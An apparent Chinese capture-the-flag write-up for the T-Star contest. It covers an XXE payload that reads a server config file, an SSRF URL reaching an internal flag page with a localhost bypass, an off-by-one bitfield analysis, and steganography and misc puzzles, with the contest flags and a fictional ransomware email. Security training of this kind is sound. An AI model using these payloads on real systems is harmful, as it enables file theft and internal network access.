【T-Star赛事笔记】Writeup by 114

使用fiddler或burp工具进行抓包
xxe（Xml外部实体攻击）

#我本地测试使用的脚本
from lxml import etree
parser = etree.XMLParser(load_dtd=True,
                         no_network=False,
                         resolve_entities=True,)
tree = etree.parse("test.xml", parser=parser)
print("Your name is: "+tree.xpath("name")[0].text)

<?xml version="1.0" ?>
<!DOCTYPE x [
    <!ENTITY % outside '
        <!ENTITY &#x25; file SYSTEM "file:///proc/self/cwd/config.py">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///x/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
'>
    %outside;
]>
<x></x>

file命令或binwalk命令
wireshark使用
冷门的工具使用（adb restore和openssl rsautil）
使用Python脚本进行图片绘制
（非常简单的）安卓逆向

off by one溢出

0012host:transport-anyOKAY0006shell:OKAYshell@hammerhead:/ $ cd /data/local/tmp/backupcd /data/local/tmp/backup


shell@hammerhead:/data/local/tmp/backup $ llss


pass
shell@hammerhead:/data/local/tmp/backup $ ccaatt  ppaa	
shell@hammerhead:/data/local/tmp/backup $ cat pass                             ............................. 


yun202203
shell@hammerhead:/data/local/tmp/backup $ eexxiitt

package ctf.misc.step;

public class Step1 {
    public static String FlagStep1 = "175.178.148.197:80";
}

1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111

import cv2
import numpy as np
data = '1111111010010101010110111111110000010100011000111101000001101110100110100101000010111011011101010000110001000101110110111010110100100101101011101100000100100111011001010000011111111010101010101010111111100000000001111001000000000000110011010000110101010011011110001110110101101011000011110000110100101110010010111111000100001101000011010000100000100100101101001011010010101111010011110100111101001110000011110100101101001011010010001110011101101111011001110000001001010101001100011001001001001110111111111111011101101001010111001101110111001001110111000001111100011001000010100110110011111011010100111110010001100100011110011001100000000001001010101101010111001111111010110001101000101001010000011100111110010001000100101110101010011111111110111101011101000000010000000000111010111011110001010110111001110100000101110011101101110011101111111'
img_size = (29,29)
img = np.zeros(img_size, np.uint8)

for x in range(29):
    for y in range(29):
        pixel = int(data[x*29+y])
        color = (255,255,255)
        if pixel:
            color = (0,0,0)
        cv2.rectangle(img,(x,y),(x,y),color,1)

cv2.imshow("foo",img)
cv2.waitKey()

5555555
992e63080ee1e47b99f42b8d64ede953

补充：
struct door_key {
	unsigned char passed : 1;
	unsigned char checksum1 : 2;
	unsigned char checksum2 : 2;
	unsigned char checksum3 : 3; 
};
虽然unsigned char的大小是一个字节，但是他后面的冒号表示他是一个比特字段，即：passed占用1比特，checksum1占用2比特，checksum2占用2比特，checksum3占用3比特。
所以door_key结构体的实际大小是1字节，off by one正好可以控制整个door_key结构体。
'5'的ascii码是53，转为二进制是00110101，即checksum3的值为0b001=1，checksum2的值为0b10=2，checksum1的值为0b10=2，passed的值为0b1=1。
满足
if ((checker1->passed && (checker1->checksum1 == checker1->checksum2) && checker1->checksum3 > 0))
的条件。
因此密码只要以字符5结尾即可，而密码必须是同样的字符，所以密码是5555555。

图片编辑
十六进制编辑器使用
摩尔斯解密

数据类型(short)
整数溢出漏洞

解密hash。。。

{"code":1, "msg":"service codec Unmarshal: 1 error(s) decoding:

* cannot parse 'gid' as int: strconv.ParseInt: parsing "12'": invalid syntax"}

你要找的人，即将发起大范围蠕虫攻击！行动计划就藏匿在邮件中，只有解出密匙才能破除攻击！http://159.75.190.64/

nightbaron042@sohu.com
nightBaron1996

Hi bros,

冬去春来，终于迎来此刻。等待良久，时机已经成熟。等待的日子里，我看了很多书，那些书页中的章节和段落就像时钟的时针和分针一样不断前行，指引我们通向胜利。

这次行动一切顺利，我将乘胜追击，发起勒索病毒蠕虫攻击，对所有目标电脑文件进行加密，并自动扩散，只有我的KEY才能解密。

数据勒索加密行动已经于今天 1点8分 启动。须知，T-Star特工诡计多端，为防他们从中作梗，我已将KEY进行HASH处理，分别交由不同的人保管。以他们的算力，应该很难破解。米特尼克曾经写道，人的因素是安全过程中最薄弱的环节。各位务必提高警惕，严加保密、妥善储存。

这封邮件非常重要，关键时刻将发挥巨大作用，好戏在即，各位拭目以待。

Key Hashes Part 1: https://pastebin.com/QZ7QBmmd
Key Hashes Part 2:  https://pastebin.com/TUNVRVvk
Key Hashes Part 3:  https://pastebin.com/rTqtad96

NightBaron

Address: Soldier Island 
Github: nightBaron042

IF YOU'RE LOOKING, YOU WON'T FIND IT

Security is too often merely an illusion, an illusion sometimes

Security is too often merely an illusion, an illusion sometimes made even worse when gullibility, naivete, or ignorance come into play. The world's most respected scientist of the twentieth century, Albert Einstein, is quoted as saying, "Only two things are infinite, the universe and human stupidity, and I'm not sure about the former." In the end, social engineering attacks can succeed when people are stupid or, more commonly, simply ignorant about good security practices. With the same attitude as our security-conscious homeowner, many information technology (IT) professionals hold to the misconception that they've made their companies largely immune to attack because they've deployed standard security products - firewalls, intrusion detection systems, or stronger authentication devices such as time-based tokens or biometric smart cards. Anyone who thinks that security products alone offer true security is settling for. the illusion of security. It's a case of living in a world of fantasy: They will inevitably, later if not sooner, suffer a security incident.

key正确，恭喜恢复电脑，快去提交flag吧：flag{ski931iwasjudqwkashajdsakdhadjshakdhsahkd}

file命令或binwalk命令使用
docx隐写（隐藏文字，书签，隐藏的图片）
隐写工具的使用（outguess）

ssrf（利用服务器访问其他网站的功能，以服务器身份或地址访问某个需要服务器身份或地址才能访问的目标，拿到隐私信息或攻击内网设施）

喜欢我给你的惊喜吗？
我已将线索藏到三个不同的地方，
其中一个提示为123456
来找我吧，
记住，你只能一个人来
否则，你会受到惩罚哦

http://175.178.148.197/062ycz7s9458b772e91/webs/?url=127.0.0.2/062ycz7s9458b772e91/webs/flag.php
T-STAR{ThereAreNoBoundaries}

url使用ipv6 http://[::1]/也能绕过，但是好像flag.php不认。。。可能写死了只能127.0.0.2